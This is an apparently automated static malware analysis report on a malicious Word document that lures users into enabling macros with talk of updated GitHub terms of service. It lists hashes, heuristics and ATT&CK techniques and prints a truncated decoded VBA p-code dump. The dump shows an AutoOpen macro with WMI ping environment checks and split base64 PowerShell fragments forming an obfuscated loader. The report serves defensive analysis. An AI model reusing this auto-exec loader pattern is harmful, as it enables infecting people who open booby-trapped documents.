Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f4ed7fb189e3047…

MALICIOUS

Office (OLE)

108.5 KB Created: 2018-03-19 16:38:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: a6a687bc7bf9a58c439def76d55935aa SHA-1: 3f8a877f084ca3235973a33b8aa69574bed43329 SHA-256: 1f4ed7fb189e3047f20a0b7c7b251054f3099fd5735b1bcaea006b826d08370b
90 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Word document that uses a lure to convince the user to enable macros, specifically mentioning updated terms of service. The AutoOpen macro is triggered upon opening, which uses WMI to query network status, likely as a precursor to downloading and executing a second-stage payload. The embedded VBA code indicates a malicious intent to execute arbitrary code.

Heuristics 5

  • VBA project contains no executable statements low 1 related finding OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://help.github.com/articles/github-terms-of-service-draft In document text (OLE body)
    • https://help.github.com/articles/github-terms-of-service/In document text (OLE body)
    • https://github.com/contact/terms-of-serviceIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74323 bytes
SHA-256: 88ceba162858783a843cd80ea9d96f7d75e771afb465656f5a3ba10766b54489
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

' Processing file: /opt/analyzer/scan_staging/60687642a1804fa3861960c27d91d382.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1127 bytes
' Macros/VBA/module1 - 54462 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	SetStmt 
' 	LitStr 0x004A "Win32_PingStatus.Address='location.microsoft.com',ResolveAddressNames=True"
' 	LitStr 0x0009 "winmgmts:"
' 	ArgsLd GetObject 0x0001 
' 	ArgsMemLd Get 0x0001 
' 	Set ImogenPhotobiologic 
' Line #3:
' 	StartWithExpr 
' 	Ld ImogenPhotobiologic 
' 	With 
' Line #4:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000D "Status Code: "
' 	MemLdWith StatusCode 
' 	Concat 
' 	PrintItemNL 
' Line #5:
' 	MemLdWith StatusCode 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitVarSpecial (False)
' 	St EtzelUnpolishedness 
' Line #7:
' 	MemLdWith StatusCode 
' 	LitDI2 0x0000 
' 	Gt 
' 	ElseIfBlock 
' Line #8:
' 	LitVarSpecial (False)
' 	St EtzelUnpolishedness 
' Line #9:
' 	ElseBlock 
' 	QuoteRem 0x000D 0x0011 "No DNS Resolution"
' Line #10:
' 	LitVarSpecial (True)
' 	St EtzelUnpolishedness 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	EndWith 
' Line #13:
' Line #14:
' 	SetStmt 
' 	LitStr 0x001A "Win32_PingStatus.Address='"
' 	LitStr 0x000A "userdomain"
' 	ArgsLd Environ$ 0x0001 
' 	Concat 
' 	LitStr 0x001A "',ResolveAddressNames=True"
' 	Concat 
' 	LitStr 0x0009 "winmgmts:"
' 	ArgsLd GetObject 0x0001 
' 	ArgsMemLd Get 0x0001 
' 	Set ImogenPhotobiologic 
' Line #15:
' 	StartWithExpr 
' 	Ld ImogenPhotobiologic 
' 	With 
' Line #16:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000D "Status Code: "
' 	MemLdWith StatusCode 
' 	Concat 
' 	PrintItemNL 
' Line #17:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0009 "Address: "
' 	MemLdWith Address 
' 	Concat 
' 	PrintItemNL 
' Line #18:
' 	MemLdWith StatusCode 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	LitVarSpecial (True)
' 	St VeraPostmeridian 
' Line #20:
' 	MemLdWith StatusCode 
' 	LitDI2 0x0000 
' 	Gt 
' 	ElseIfBlock 
' Line #21:
' 	LitVarSpecial (False)
' 	St VeraPostmeridian 
' Line #22:
' 	ElseBlock 
' 	QuoteRem 0x000D 0x0011 "No DNS Resolution"
' Line #23:
' 	LitVarSpecial (False)
' 	St VeraPostmeridian 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	EndWith 
' Line #26:
' Line #27:
' 	Ld EtzelUnpolishedness 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld VeraPostmeridian 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	IfBlock 
' Line #28:
' 	Dim 
' 	VarDefn UnstifflyGruesomest (As String)
' Line #29:
' 	LitStr 0x0001 "w"
' 	LitStr 0x0001 "u"
' 	LitStr 0x0001 "o"
' 	LitStr 0x0001 "p"
' 	LitStr 0x0001 "e"
' 	LitStr 0x0001 "y"
' 	LitStr 0x0001 "b"
' 	LitStr 0x0001 "a"
' 	LitStr 0x0001 "t"
' 	LitStr 0x0001 "x"
' 	LitStr 0x0001 "-"
' 	LitStr 0x0001 "s"
' 	LitStr 0x0001 "d"
' 	LitStr 0x0001 "c"
' 	LitStr 0x0001 " "
' 	LitStr 0x0001 "h"
' 	LitStr 0x0001 "r"
' 	LitStr 0x0001 "i"
' 	LitStr 0x0001 "n"
' 	LitStr 0x0001 "l"
' 	ArgsArray Array 0x0014 
' 	St OutbowlTega 
' Line #30:
' 	Dim 
' 	VarDefn LucierDruidism (As String)
' Line #31:
' 	LitStr 0x0009 "SQBmACgAJ"
' 	St LucierDruidism 
' Line #32:
' 	Dim 
' 	VarDefn TetanineSpans (As String)
' Line #33:
' 	LitStr 0x0007 "ABQAFMA"
' 	St TetanineSpans 
' Line #34:
' Line #35:
' 	Dim 
' 	VarDefn ChancellorsvilleCalabresi (As String)
' Line #36:
' 	LitStr 0x000B "VgBlAHIAcwB"
' 	St ChancellorsvilleCalabresi 
' Line #37:
' Line #38:
' Line #39:
' 	Dim 
' 	VarDefn AutotomiesDemoniacally (As String)
' Line #40:
' 	LitStr 0x0013 "JAE8AbgBUAGEAYgBMAG"
' 	St AutotomiesDemoniacally 
' Line #41:
' Line #42:
' 	Dim 
' 	VarDefn ParcellingRubification (As String)
' Line #43:
' 	LitStr 0x0013 "UALgBQAFMAVgBlAFIAU"
' 	St ParcellingRubification 
' Line #44:
' 	Ld PreinsultDreck 
' 	Ld LucierDruidism 
' 	Concat 
' 	Ld TetanineSpans 
' 	Concat 
' 	Ld Cha
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.